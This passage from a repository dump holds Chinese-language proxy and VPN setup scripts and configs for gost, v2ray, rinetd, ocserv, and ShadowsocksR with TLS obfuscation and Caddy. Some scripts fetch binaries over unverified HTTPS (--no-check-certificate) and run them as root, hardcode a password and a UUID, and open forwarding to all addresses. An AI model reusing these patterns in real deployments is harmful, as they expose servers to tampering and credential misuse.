gost_3.0.0_linux_amd64.tar.gz 32 | rm -rf LICENSE README.md README_en.md gost_3.0.0_linux_amd64.tar.gz 33 | mv gost /usr/bin/gost && chmod +x /usr/bin/gost 34 | fi 35 | } 36 | 37 | function list(){ 38 | ps -ef | grep -v grep | grep "gost" 39 | } 40 | 41 | function run(){ 42 | 43 | echo && stty erase '^H' && read -p "输入远程IP(域名): " proxy_ip 44 | echo && stty erase '^H' && read -p "输入远程端口: " proxy_port 45 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 46 | nohup gost -L=tcp://:$local_port/$proxy_ip:$proxy_port >>/dev/null 2>&1 & 47 | nohup gost -L=udp://:$local_port/$proxy_ip:$proxy_port >>/dev/null 2>&1 & 48 | sleep 3 49 | a=`ps -aux|grep $!| grep -v grep` 50 | [[ -n ${a} ]] && echo "启动成功!进程ID:$!" 51 | [[ -z ${a} ]] && echo "启动失败,请自己找错误 嘻嘻" 52 | echo "nohup gost -L=tcp://:$local_port/$proxy_ip:$proxy_port >>/dev/null 2>&1 &" >> /root/gost.cmd 53 | echo "nohup gost -L=udp://:$local_port/$proxy_ip:$proxy_port >>/dev/null 2>&1 &" >> /root/gost.cmd 54 | 55 | } 56 | 57 | function run_ws_zz(){ 58 | echo && stty erase '^H' && read -p "输入落地域名: " proxy_ip 59 | echo && stty erase '^H' && read -p "输入落地端口: " proxy_port 60 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 61 | nohup gost -L udp://:$local_port -L tcp://:$local_port -F relay+ws://$proxy_ip:$proxy_port >>/dev/null 2>&1 & 62 | sleep 3 63 | a=`ps -aux|grep $!| grep -v grep` 64 | [[ -n ${a} ]] && echo "启动成功!进程ID:$!" 65 | [[ -z ${a} ]] && echo "启动失败,请自己找错误 嘻嘻" 66 | echo "nohup gost -L udp://:$local_port -L tcp://:$local_port -F relay+ws://$proxy_ip:$proxy_port >>/dev/null 2>&1 &" >> /root/gost.cmd 67 | } 68 | 69 | function run_ws_luodi(){ 70 | echo && stty erase '^H' && read -p "输入远程IP(域名): " proxy_ip 71 | echo && stty erase '^H' && read -p "输入远程端口: " proxy_port 72 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 73 | nohup gost -L "relay+ws://:$local_port/$proxy_ip:$proxy_port" >> /dev/null 2>&1 & 74 | sleep 3 75 | a=`ps -aux|grep $!| grep -v grep` 76 | [[ -n ${a} ]] && echo "启动成功!进程ID:$!" 77 | [[ -z ${a} ]] && echo "启动失败,请自己找错误 嘻嘻" 78 | echo "nohup gost -L \"relay+ws://:$local_port/$proxy_ip:$proxy_port\" >> /dev/null 2>&1 &" >> /root/gost.cmd 79 | } 80 | 81 | function run_wss_zz(){ 82 | echo && stty erase '^H' && read -p "输入落地域名: " proxy_ip 83 | echo && stty erase '^H' && read -p "输入落地端口: " proxy_port 84 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 85 | nohup gost -L udp://:$local_port -L tcp://:$local_port -F relay+wss://$proxy_ip:$proxy_port >>/dev/null 2>&1 & 86 | sleep 3 87 | a=`ps -aux|grep $!| grep -v grep` 88 | [[ -n ${a} ]] && echo "启动成功!进程ID:$!" 89 | [[ -z ${a} ]] && echo "启动失败,请自己找错误 嘻嘻" 90 | echo "nohup gost -L udp://:$local_port -L tcp://:$local_port -F relay+wss://$proxy_ip:$proxy_port >>/dev/null 2>&1 &" >> /root/gost.cmd 91 | } 92 | 93 | function run_wss_luodi(){ 94 | echo && stty erase '^H' && read -p "输入远程IP(域名): " proxy_ip 95 | echo && stty erase '^H' && read -p "输入远程端口: " proxy_port 96 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 97 | if [ -d "/gost_cert" ]; then 98 | nohup gost -L "relay+wss://:$local_port/$proxy_ip:$proxy_port?certFile=/gost_cert/cert.pem&keyFile=/gost_cert/key.pem" >> /dev/null 2>&1 & 99 | else 100 | echo '证书不存在' 101 | exit 102 | fi 103 | sleep 3 104 | a=`ps -aux|grep $!| grep -v grep` 105 | [[ -n ${a} ]] && echo "启动成功!进程ID:$!" 106 | [[ -z ${a} ]] && echo "启动失败,请自己找错误 嘻嘻" 107 | echo "nohup gost -L \"relay+wss://:$local_port/$proxy_ip:$proxy_port?certFile=/gost_cert/cert.pem&keyFile=/gost_cert/key.pem\" >> /dev/null 2>&1 &" >> /root/gost.cmd 108 | } 109 | 110 | function what_to_do(){ 111 | echo -e "请问您要设置的传输类型: " 112 | echo -e "-----------------------------------" 113 | echo -e "[1] 不加密转发" 114 | echo -e "[2] ws隧道中转设置" 115 | echo -e "[3] ws隧道落地设置" 116 | echo -e "[4] wss隧道中转设置" 117 | echo -e "[5] wss隧道落地设置" 118 | echo -e "注意: 同一则转发,中转与落地传输类型必须对应!" 119 | echo -e "此功能只需在中转机设置" 120 | echo -e "-----------------------------------" 121 | read -p "请选择转发传输类型: " dowhat 122 | if [ "$dowhat" == "1" ]; then 123 | run 124 | elif [ "$dowhat" == "2" ]; then 125 | run_ws_zz 126 | elif [ "$dowhat" == "3" ]; then 127 | run_ws_luodi 128 | elif [ "$dowhat" == "4" ]; then 129 | run_wss_zz 130 | elif [ "$dowhat" == "5" ]; then 131 | run_wss_luodi 132 | else 133 | echo "输入错误" 134 | exit 135 | fi 136 | 137 | } 138 | 139 | function gogogo(){ 140 | if command -v gost >/dev/null 2>&1; then 141 | what_to_do 142 | else 143 | echo '先安装Gost' 144 | install_gost 145 | what_to_do 146 | fi 147 | } 148 | 149 | [[ $1 == "list" ]] && list 150 | [[ $1 == "" ]] && gogogo 151 | 152 | 153 | #gost -L ss://chacha20-ietf-poly1305:password@:60000 154 | #gost -L tcp://:33010/xxx:3010 -F ss://chacha20-ietf-poly1305:password@192.168.0.4:60000 155 | -------------------------------------------------------------------------------- /suansuanru/http_server.go: -------------------------------------------------------------------------------- 1 | package main 2 | 3 | import ( 4 | "encoding/json" 5 | "io/ioutil" 6 | "net/http" 7 | "strconv" 8 | "strings" 9 | "time" 10 | ) 11 | 12 | type Config struct { 13 | Port int `json:"port"` 14 | CertFile string `json:"certFile"` 15 | KeyFile string `json:"keyFile"` 16 | AllowedExtensions []string `json:"allowedExtensions"` 17 | } 18 | 19 | func main() { 20 | // 读配置文件 21 | cfgData, err := ioutil.ReadFile("config.json") 22 | if err != nil { 23 | panic("读取配置文件失败: " + err.Error()) 24 | } 25 | 26 | var cfg Config 27 | err = json.Unmarshal(cfgData, &cfg) 28 | if err != nil { 29 | panic("解析配置文件失败: " + err.Error()) 30 | } 31 | 32 | server := &http.Server{ 33 | Addr: ":" + strconv.Itoa(cfg.Port), 34 | Handler: http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { 35 | if r.Method != http.MethodGet { 36 | disconnect(w) 37 | return 38 | } 39 | 40 | path := r.URL.Path 41 | allowed := false 42 | for _, ext := range cfg.AllowedExtensions { 43 | if strings.HasSuffix(path, ext) { 44 | allowed = true 45 | break 46 | } 47 | } 48 | if !allowed { 49 | disconnect(w) 50 | return 51 | } 52 | 53 | filePath := path[1:] 54 | if strings.Contains(filePath, "..") { 55 | disconnect(w) 56 | return 57 | } 58 | 59 | http.ServeFile(w, r, filePath) 60 | }), 61 | } 62 | 63 | err = server.ListenAndServeTLS(cfg.CertFile, cfg.KeyFile) 64 | if err != nil { 65 | panic(err) 66 | } 67 | } 68 | 69 | func disconnect(w http.ResponseWriter) { 70 | hj, ok := w.(http.Hijacker) 71 | if !ok { 72 | return 73 | } 74 | conn, _, err := hj.Hijack() 75 | if err != nil { 76 | return 77 | } 78 | conn.SetDeadline(time.Now().Add(1 * time.Millisecond)) 79 | conn.Close() 80 | } 81 | 82 | 83 | #CGO_ENABLED=0 GOOS=linux GOARCH=amd64 go build -o server server.go 84 | -------------------------------------------------------------------------------- /suansuanru/json/kcp.json: -------------------------------------------------------------------------------- 1 | { 2 | "log": { 3 | "access": "/var/log/v2ray/access.log", 4 | "error": "/var/log/v2ray/error.log", 5 | "loglevel": "warning" 6 | }, 7 | "inbounds": [ 8 | { 9 | "port": Server_Port, 10 | "listen": "0.0.0.0", 11 | "tag": "vmess-in", 12 | "protocol": "vmess", 13 | "settings": { 14 | "clients": [ 15 | { 16 | "id": "UUID", 17 | "alterId": 233 18 | } 19 | ] 20 | }, 21 | "streamSettings": { 22 | "network": "kcp", 23 | "security": "tls", 24 | "kcpSettings": { 25 | "mtu": 1350, 26 | "tti": 20, 27 | "uplinkCapacity": 5, 28 | "downlinkCapacity": 20, 29 | "congestion": true, 30 | "readBufferSize": 2, 31 | "writeBufferSize": 2, 32 | "header": { 33 | "type": "srtp" 34 | } 35 | } 36 | }, 37 | } 38 | 39 | ], 40 | "outbounds": [ 41 | { 42 | "protocol": "freedom", 43 | "settings": { }, 44 | "tag": "direct" 45 | }, 46 | { 47 | "protocol": "blackhole", 48 | "settings": { }, 49 | "tag": "blocked" 50 | } 51 | ], 52 | "dns": { 53 | "servers": [ 54 | "https+local://1.1.1.1/dns-query", 55 | "1.1.1.1", 56 | "1.0.0.1", 57 | "8.8.8.8", 58 | "8.8.4.4", 59 | "localhost" 60 | ] 61 | }, 62 | "routing": { 63 | "domainStrategy": "AsIs", 64 | "rules": [ 65 | { 66 | "type": "field", 67 | "inboundTag": [ 68 | "vmess-in" 69 | ], 70 | "outboundTag": "direct" 71 | } 72 | ] 73 | } 74 | } 75 | -------------------------------------------------------------------------------- /suansuanru/json/tcp.json: -------------------------------------------------------------------------------- 1 | { 2 | "log": { 3 | "access": "/var/log/v2ray/access.log", 4 | "error": "/var/log/v2ray/error.log", 5 | "loglevel": "warning" 6 | }, 7 | "inbounds": [ 8 | { 9 | "port": Server_Port, 10 | "listen": "0.0.0.0", 11 | "tag": "vmess-in", 12 | "protocol": "vmess", 13 | "settings": { 14 | "clients": [ 15 | { 16 | "id": "UUID", 17 | "alterId": 233 18 | } 19 | ] 20 | }, 21 | "streamSettings": { 22 | "network": "tcp", 23 | "tcpSettings": { 24 | "header": { 25 | "type": "http", 26 | "response": { 27 | "version": "1.1", 28 | "status": "200", 29 | "reason": "OK", 30 | "headers": { 31 | "Content-encoding": [ 32 | "gzip" 33 | ], 34 | "Content-Type": [ 35 | "text/html; charset=utf-8" 36 | ] 37 | 38 | } 39 | } 40 | } 41 | } 42 | } 43 | } 44 | 45 | ], 46 | "outbounds": [ 47 | { 48 | "protocol": "freedom", 49 | "settings": { }, 50 | "tag": "direct" 51 | }, 52 | { 53 | "protocol": "blackhole", 54 | "settings": { }, 55 | "tag": "blocked" 56 | } 57 | ], 58 | "dns": { 59 | "servers": [ 60 | "https+local://1.1.1.1/dns-query", 61 | "1.1.1.1", 62 | "1.0.0.1", 63 | "8.8.8.8", 64 | "8.8.4.4", 65 | "localhost" 66 | ] 67 | }, 68 | "routing": { 69 | "domainStrategy": "AsIs", 70 | "rules": [ 71 | { 72 | "type": "field", 73 | "inboundTag": [ 74 | "vmess-in" 75 | ], 76 | "outboundTag": "direct" 77 | } 78 | ] 79 | } 80 | } -------------------------------------------------------------------------------- /suansuanru/json/ws-https.json: -------------------------------------------------------------------------------- 1 | { 2 | "log": { 3 | "access": "/var/log/v2ray/access.log", 4 | "error": "/var/log/v2ray/error.log", 5 | "loglevel": "warning" 6 | }, 7 | "inbounds": [ 8 | { 9 | "port": 8848, 10 | "listen": "127.0.0.1", 11 | "tag": "vmess-in", 12 | "protocol": "vmess", 13 | "settings": { 14 | "clients": [ 15 | { 16 | "id": "a3759367-6366-444c-afd1-327406f1ecd0", 17 | "alterId": 233 18 | } 19 | ] 20 | }, 21 | "streamSettings": { 22 | "network": "ws", 23 | "wsSettings": { 24 | "path": "/ppx/" 25 | } 26 | } 27 | } 28 | ], 29 | "outbounds": [ 30 | { 31 | "protocol": "freedom", 32 | "settings": { }, 33 | "tag": "direct" 34 | }, 35 | { 36 | "protocol": "blackhole", 37 | "settings": { }, 38 | "tag": "blocked" 39 | } 40 | ], 41 | "dns": { 42 | "servers": [ 43 | "https+local://1.1.1.1/dns-query", 44 | "1.1.1.1", 45 | "1.0.0.1", 46 | "8.8.8.8", 47 | "8.8.4.4", 48 | "localhost" 49 | ] 50 | }, 51 | "routing": { 52 | "domainStrategy": "AsIs", 53 | "rules": [ 54 | { 55 | "type": "field", 56 | "inboundTag": [ 57 | "vmess-in" 58 | ], 59 | "outboundTag": "direct" 60 | } 61 | ] 62 | } 63 | } -------------------------------------------------------------------------------- /suansuanru/lajiv2ray-install.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | #一个垃圾 V2ray安装脚本 3 | 4 | ver="$(echo `curl "https://api.github.com/repos/v2fly/v2ray-core/releases/latest"` | grep 'tag_name' | awk -F '"' '{print $26}')" 5 | download_url="https://github.com/v2fly/v2ray-core/releases/download/${ver}/v2ray-linux-64.zip" 6 | mkdir -p /tmp/v2ray-linux-64/ 7 | wget -O /tmp/v2ray-linux-64/v2ray.zip $download_url && cd /tmp/v2ray-linux-64/ && unzip /tmp/v2ray-linux-64/v2ray.zip 8 | mv /tmp/v2ray-linux-64/v2ctl /usr/local/bin/ && mv /tmp/v2ray-linux-64/v2ray /usr/local/bin/ 9 | mkdir -p /usr/local/share/v2ray/ && mv /tmp/v2ray-linux-64/*.dat /usr/local/share/v2ray/ 10 | mkdir -p /usr/local/etc/v2ray/ && mv /tmp/v2ray-linux-64/*.json /usr/local/etc/v2ray/ 11 | mkdir -p /var/log/v2ray/ && touch /var/log/v2ray/access.log && touch /var/log/v2ray/error.log 12 | cat > "/etc/systemd/system/v2ray.service" <<-EOF 13 | [Unit] 14 | Description=V2Ray Service 15 | After=network.target nss-lookup.target 16 | 17 | [Service] 18 | User=root 19 | CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 20 | AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 21 | NoNewPrivileges=true 22 | Environment=V2RAY_LOCATION_ASSET=/usr/local/share/v2ray/ 23 | ExecStart=/usr/local/bin/v2ray -config /usr/local/etc/v2ray/config.json 24 | Restart=on-failure 25 | 26 | [Install] 27 | WantedBy=multi-user.target 28 | EOF 29 | 30 | cat > "/etc/systemd/system/v2ray@.service" <<-EOF 31 | [Unit] 32 | Description=V2Ray Service 33 | After=network.target nss-lookup.target 34 | 35 | [Service] 36 | User=root 37 | CapabilityBoundingSet=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 38 | AmbientCapabilities=CAP_NET_ADMIN CAP_NET_BIND_SERVICE 39 | NoNewPrivileges=true 40 | Environment=V2RAY_LOCATION_ASSET=/usr/local/share/v2ray/ 41 | ExecStart=/usr/local/bin/v2ray -config /usr/local/etc/v2ray/%i.json 42 | Restart=on-failure 43 | 44 | [Install] 45 | WantedBy=multi-user.target 46 | EOF 47 | chmod +x /etc/systemd/system/v2ray@.service /etc/systemd/system/v2ray.service /usr/local/bin/v2ray /usr/local/bin/v2ctl 48 | rm -rf /tmp/v2ray* 49 | systemctl daemon-reload 50 | 51 | echo " 52 | V2ray 安装位置/usr/local/bin/ 53 | Dat 位置 /usr/local/share/v2ray/ 54 | 日志地址 /var/log/v2ray/ 55 | 配置文件位置 /usr/local/etc/v2ray/ 56 | " 57 | -------------------------------------------------------------------------------- /suansuanru/nat.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | function install_rinetd(){ 4 | echo "自动安装可能只适应debian10" 5 | apt install rinetd 6 | echo "allow *.*.*.*" >> /etc/rinetd.conf 7 | } 8 | 9 | function list(){ 10 | ps -ef | grep -v grep | grep "rinetd" 11 | cat /etc/rinetd.conf 12 | } 13 | 14 | function run(){ 15 | echo && stty erase '^H' && read -p "输入远程IP(域名): " proxy_ip 16 | echo && stty erase '^H' && read -p "输入远程端口: " proxy_port 17 | echo && stty erase '^H' && read -p "输入本地端口: " local_port 18 | echo "0.0.0.0 $local_port $proxy_ip $proxy_port" >> /etc/rinetd.conf 19 | iptables -I INPUT -p tcp -m state --state NEW -m tcp --dport $local_port -j ACCEPT 20 | iptables -I INPUT -p udp -m state --state NEW -m udp --dport $local_port -j ACCEPT 21 | sleep 3 22 | service rinetd restart 23 | } 24 | 25 | function gogogo(){ 26 | if command -v rinetd >/dev/null 2>&1; then 27 | run 28 | else 29 | echo '先安装Gost' 30 | install_rinetd 31 | run 32 | fi 33 | } 34 | 35 | [[ $1 == "list" ]] && list 36 | [[ $1 == "" ]] && gogogo 37 | -------------------------------------------------------------------------------- /suansuanru/ocserv.conf: -------------------------------------------------------------------------------- 1 | # Autorun ocserv 2 | # Append '@reboot root bash /etc/ocserv/ocserv.d >/dev/null 2>&1 &' in /etc/crontab 3 | 4 | # The default domain to be advertised 5 | # Connection-specific DNS suffixes 6 | default-domain = srv 7 | banner = "你已经连接到公司网络,请遵守中国法律,禁止浏览下载非法违规内容。" 8 | auth = "plain[passwd=/etc/ocserv/ocpasswd]" 9 | #auth = "certificate" 10 | #enable-auth = "plain[passwd=/etc/ocserv/ocpasswd]" 11 | enable-auth = "certificate" 12 | 13 | # TCP and UDP port number 14 | tcp-port = 443 15 | #udp-port = 443 16 | 17 | server-cert = /etc/ocserv/crt.crt 18 | server-key = /etc/ocserv/key.key 19 | ca-cert = /etc/ocserv/ca.cert.pem 20 | dh-params = /etc/ocserv/dh.pem 21 | 22 | socket-file = /var/run/ocserv.socket 23 | occtl-socket-file = /var/run/occtl.socket 24 | pid-file = /var/run/ocserv.pid 25 | #user-profile = /etc/ocserv/profile.xml 26 | run-as-user = nobody 27 | run-as-group = daemon 28 | cert-user-oid = 2.5.4.3 29 | cert-group-oid = 2.5.4.11 30 | config-per-group = /etc/ocserv/group 31 | default-group-config = /etc/ocserv/group/Default 32 | default-select-group = Default 33 | auto-select-group = false 34 | net-priority = 6 35 | max-clients = 256 36 | max-same-clients = 256 37 | switch-to-tcp-timeout = 0 38 | max-ban-score = 0 39 | keepalive = 86400 40 | dpd = 96 41 | mobile-dpd = 1800 42 | try-mtu-discovery = true 43 | #output-buffer = 64 44 | compression = false 45 | no-compress-limit = 512 46 | auth-timeout = 48 47 | idle-timeout = 900 48 | mobile-idle-timeout = 1200 49 | cookie-timeout = 48 50 | persistent-cookies = false 51 | deny-roaming = false 52 | rekey-time = 86400 53 | rekey-method = ssl 54 | use-utmp = false 55 | use-occtl = true 56 | device = ocserv 57 | predictable-ips = false 58 | ping-leases = false 59 | dtls-psk = false 60 | cisco-client-compat = true 61 | tunnel-all-dns = true 62 | isolate-workers = false 63 | tls-priorities = "PERFORMANCE:%SERVER_PRECEDENCE:%COMPAT:-VERS-TLS-ALL:-VERS-DTLS-ALL:-RSA:-VERS-SSL3.0:-ARCFOUR-128:+VERS-TLS1.2" 64 | ipv4-network = 192.168.8.0 65 | ipv4-netmask = 255.255.255.0 66 | dns = 192.168.8.1 67 | -------------------------------------------------------------------------------- /suansuanru/ssrtls.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | 4 | filepath=$(cd "$(dirname "$0")"; pwd) 5 | file=$(echo -e "${filepath}"|awk -F "$0" '{print $1}') 6 | ssr_folder="/usr/local/shadowsocksr" 7 | ssr_ss_file="${ssr_folder}/shadowsocks" 8 | config_file="${ssr_folder}/config.json" 9 | config_folder="/etc/shadowsocksr" 10 | config_user_file="${config_folder}/user-config.json" 11 | ssr_log_file="${ssr_ss_file}/ssserver.log" 12 | Libsodiumr_file="/usr/local/lib/libsodium.so" 13 | jq_file="${ssr_folder}/jq" 14 | Green_font_prefix="\033[32m" && Red_font_prefix="\033[31m" && Green_background_prefix="\033[42;37m" && Red_background_prefix="\033[41;37m" && Font_color_suffix="\033[0m" 15 | Info="${Green_font_prefix}[信息]${Font_color_suffix}" 16 | Error="${Red_font_prefix}[错误]${Font_color_suffix}" 17 | Tip="${Green_font_prefix}[注意]${Font_color_suffix}" 18 | Separator_1="——————————————————————————————" 19 | 20 | 21 | Add_iptables(){ 22 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 8443 -j ACCEPT 23 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 8443 -j ACCEPT 24 | ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport 8443 -j ACCEPT 25 | ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport 8443 -j ACCEPT 26 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT 27 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 443 -j ACCEPT 28 | ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport 443 -j ACCEPT 29 | ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport 443 -j ACCEPT 30 | iptables -I INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT 31 | iptables -I INPUT -m state --state NEW -m udp -p udp --dport 80 -j ACCEPT 32 | ip6tables -I INPUT -m state --state NEW -m tcp -p tcp --dport 80 -j ACCEPT 33 | ip6tables -I INPUT -m state --state NEW -m udp -p udp --dport 80 -j ACCEPT 34 | iptables-save > /etc/iptables.up.rules 35 | ip6tables-save > /etc/ip6tables.up.rules 36 | } 37 | 38 | libsodium_install(){ 39 | apt-get update 40 | apt-get install gcc make build-essential -y 41 | wget https://github.com/jedisct1/libsodium/releases/download/1.0.16/libsodium-1.0.16.tar.gz 42 | tar xf libsodium-1.0.16.tar.gz && cd libsodium-1.0.16 43 | ./configure && make -j2 && make install 44 | ldconfig 45 | rm -rf libsodium-1.0.16* 46 | cd .. 47 | } 48 | 49 | urlsafe_base64(){ 50 | date=$(echo -n "$1"|base64|sed ':a;N;s/\n/ /g;ta'|sed 's/ //g;s/=//g;s/+/-/g;s/\//_/g') 51 | echo -e "${date}" 52 | } 53 | 54 | Write_configuration(){ 55 | cat > ${config_user_file}<<-EOF 56 | { 57 | "server": "0.0.0.0", 58 | "server_ipv6": "::", 59 | "server_port": 443, 60 | "local_address": "127.0.0.1", 61 | "local_port": 1080, 62 | "password": "ppxwo.com", 63 | "method": "chacha20-ietf", 64 | "protocol": "auth_aes128_md5", 65 | "protocol_param": "", 66 | "obfs": "tls1.2_ticket_auth", 67 | "obfs_param": "$domain", 68 | "speed_limit_per_con": 0, 69 | "speed_limit_per_user": 0, 70 | "additional_ports" : {}, 71 | "timeout": 120, 72 | "udp_timeout": 60, 73 | "dns_ipv6": false, 74 | "connect_verbose_info": 0, 75 | "redirect": ["*:443#127.0.0.1:8443"], 76 | "fast_open": false 77 | } 78 | EOF 79 | } 80 | 81 | Install_SSR(){ 82 | cd "/usr/local" 83 | wget -N --no-check-certificate "https://github.com/caippx/shadowsocksr/archive/manyuser.zip" 84 | [[ ! -e "manyuser.zip" ]] && echo -e "${Error} ShadowsocksR服务端 压缩包 下载失败 !" && rm -rf manyuser.zip && exit 1 85 | unzip "manyuser.zip" 86 | [[ ! -e "/usr/local/shadowsocksr-manyuser/" ]] && echo -e "${Error} ShadowsocksR服务端 解压失败 !" && rm -rf manyuser.zip && exit 1 87 | mv "/usr/local/shadowsocksr-manyuser/" "/usr/local/shadowsocksr/" 88 | [[ ! -e "/usr/local/shadowsocksr/" ]] && echo -e "${Error} ShadowsocksR服务端 重命名失败 !" && rm -rf manyuser.zip && rm -rf "/usr/local/shadowsocksr-manyuser/" && exit 1 89 | rm -rf manyuser.zip 90 | [[ -e ${config_folder} ]] && rm -rf ${config_folder} 91 | mkdir ${config_folder} 92 | [[ ! -e ${config_folder} ]] && echo -e "${Error} ShadowsocksR配置文件的文件夹 建立失败 !" && exit 1 93 | echo -e "${Info} ShadowsocksR服务端 下载完成 !" 94 | if ! wget --no-check-certificate https://raw.githubusercontent.com/ToyoDAdoubi/doubi/master/service/ssr_debian -O /etc/init.d/ssr; then 95 | echo -e "${Error} ShadowsocksR服务 管理脚本下载失败 !" && exit 1 96 | fi 97 | chmod +x /etc/init.d/ssr 98 | update-rc.d -f ssr defaults 99 | echo -e "${Info} ShadowsocksR服务 管理脚本下载完成 !" 100 | echo -e "${Info} 开始写入 ShadowsocksR配置文件..." 101 | Write_configuration 102 | /etc/init.d/ssr start 103 | } 104 | ssr_link_qr(){ 105 | SSRprotocol=$(echo ${protocol} | sed 's/_compatible//g') 106 | SSRobfs=$(echo ${obfs} | sed 's/_compatible//g') 107 | SSRPWDbase64=$(urlsafe_base64 "${password}") 108 | SSRobfsparam=$(urlsafe_base64 "${domain}") 109 | SSRbase64=$(urlsafe_base64 "${ip}:${port}:${SSRprotocol}:${method}:${SSRobfs}:${SSRPWDbase64}/?obfsparam=${SSRobfsparam}") 110 | SSRurl="ssr://${SSRbase64}" 111 | SSRQRcode="https://api.qrserver.com/v1/create-qr-code/?size=150x150&data=${SSRurl}" 112 | ssr_link=" SSR 链接 : ${Red_font_prefix}${SSRurl}${Font_color_suffix} \n SSR 二维码 : ${Red_font_prefix}${SSRQRcode}${Font_color_suffix} \n " 113 | } 114 | ss_ssr_determine(){ 115 | protocol_suffix=`echo ${protocol} | awk -F "_" '{print $NF}'` 116 | obfs_suffix=`echo ${obfs} | awk -F "_" '{print $NF}'` 117 | if [[ ${protocol} = "origin" ]]; then 118 | if [[ ${obfs} = "plain" ]]; then 119 | ss_link_qr 120 | ssr_link="" 121 | else 122 | if [[ ${obfs_suffix} != "compatible" ]]; then 123 | ss_link="" 124 | else 125 | ss_link_qr 126 | fi 127 | fi 128 | else 129 | if [[ ${protocol_suffix} != "compatible" ]]; then 130 | ss_link="" 131 | else 132 | if [[ ${obfs_suffix} != "compatible" ]]; then 133 | if [[ ${obfs_suffix} = "plain" ]]; then 134 | ss_link_qr 135 | else 136 | ss_link="" 137 | fi 138 | else 139 | ss_link_qr 140 | fi 141 | fi 142 | fi 143 | ssr_link_qr 144 | } 145 | Get_User(){ 146 | [[ ! -e ${jq_file} ]] && echo -e "${Error} JQ解析器 不存在,请检查 !" && exit 1 147 | port=`${jq_file} '.server_port' ${config_user_file}` 148 | password=`${jq_file} '.password' ${config_user_file} | sed 's/^.//;s/.$//'` 149 | method=`${jq_file} '.method' ${config_user_file} | sed 's/^.//;s/.$//'` 150 | protocol=`${jq_file} '.protocol' ${config_user_file} | sed 's/^.//;s/.$//'` 151 | obfs=`${jq_file} '.obfs' ${config_user_file} | sed 's/^.//;s/.$//'` 152 | protocol_param=`${jq_file} '.protocol_param' ${config_user_file} | sed 's/^.//;s/.$//'` 153 | speed_limit_per_con=`${jq_file} '.speed_limit_per_con' ${config_user_file}` 154 | speed_limit_per_user=`${jq_file} '.speed_limit_per_user' ${config_user_file}` 155 | connect_verbose_info=`${jq_file} '.connect_verbose_info' ${config_user_file}` 156 | } 157 | 158 | View_User(){ 159 | ip=$domain 160 | Get_User 161 | [[ -z ${protocol_param} ]] && protocol_param="0(无限)" 162 | ss_ssr_determine 163 | clear && echo "===================================================" && echo 164 | echo -e " ShadowsocksR账号 配置信息:" && echo 165 | echo -e " I P\t : ${Green_font_prefix}${ip}${Font_color_suffix}" 166 | echo -e " 端口\t : ${Green_font_prefix}${port}${Font_color_suffix}" 167 | echo -e " 密码\t : ${Green_font_prefix}${password}${Font_color_suffix}" 168 | echo -e " 加密\t : ${Green_font_prefix}${method}${Font_color_suffix}" 169 | echo -e " 协议\t : ${Red_font_prefix}${protocol}${Font_color_suffix}" 170 | echo -e " 混淆\t : ${Red_font_prefix}${obfs}${Font_color_suffix}" 171 | echo -e " 设备数限制 : ${Green_font_prefix}${protocol_param}${Font_color_suffix}" 172 | echo -e " 单线程限速 : ${Green_font_prefix}${speed_limit_per_con} KB/S${Font_color_suffix}" 173 | echo -e " 端口总限速 : ${Green_font_prefix}${speed_limit_per_user} KB/S${Font_color_suffix}" 174 | echo -e "${ss_link}" 175 | echo -e "${ssr_link}" 176 | echo -e " ${Green_font_prefix} 提示: ${Font_color_suffix} 177 | 在浏览器中,打开二维码链接,就可以看到二维码图片。 178 | 协议和混淆后面的[ _compatible ],指的是 兼容原版协议/混淆。" 179 | echo && echo "===================================================" 180 | 181 | } 182 | 183 | Install_Caddy(){ 184 | wget -O /usr/bin/caddy https://raw.githubusercontent.com/caippx/caddy-v1/master/caddy 185 | chmod +x /usr/bin/caddy 186 | ulimit -n 51200 187 | mkdir -p /data/www/default 188 | mkdir -p /etc/caddy/conf.d 189 | echo "import conf.d/*" > /etc/caddy/caddy.conf 190 | echo " 191 | https://$domain:8443 { 192 | root /data/www/$domain 193 | tls admin@$domain 194 | gzip 195 | } 196 | http://$domain { 197 | root /data/www/$domain 198 | gzip 199 | } 200 | " > /etc/caddy/conf.d/$domain 201 | mkdir -p /data/www/$domain 202 | echo $txt > /data/www/$domain/index.html 203 | killall -9 caddy 204 | ulimit -n 51200 205 | nohup caddy -conf=/etc/caddy/caddy.conf -agree -quic >> /tmp/caddy.log 2>&1 & 206 | } 207 | 208 | apt update -y 209 | apt install lrzsz python zip git cron net-tools curl psmisc -y 210 | echo && stty erase '^H' && read -p "输入域名(提前绑定到VPS IP): " domain 211 | echo && stty erase '^H' && read -p "网页内容: " txt 212 | Install_Caddy 213 | cp -f /usr/share/zoneinfo/Asia/Shanghai /etc/localtime 214 | /etc/init.d/cron restart 215 | libsodium_install 216 | Install_SSR 217 | wget --no-check-certificate "https://github.com/stedolan/jq/releases/download/jq-1.5/jq-linux64" -O ${jq_file} 218 | chmod +x ${jq_file} 219 | echo -e "${Info} JQ解析器 安装完成,继续..." 220 | View_User 221 | -------------------------------------------------------------------------------- /suansuanru/v2ray-ws-http.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | check_system() { 4 | if grep -Eqii "CentOS" /etc/issue || grep -Eq "CentOS" /etc/*-release; then 5 | OS='CentOS' 6 | elif grep -Eqi "Debian" /etc/issue || grep -Eq "Debian" /etc/*-release; then 7 | OS='Debian' 8 | elif grep -Eqi "Ubuntu" /etc/issue || grep -Eq 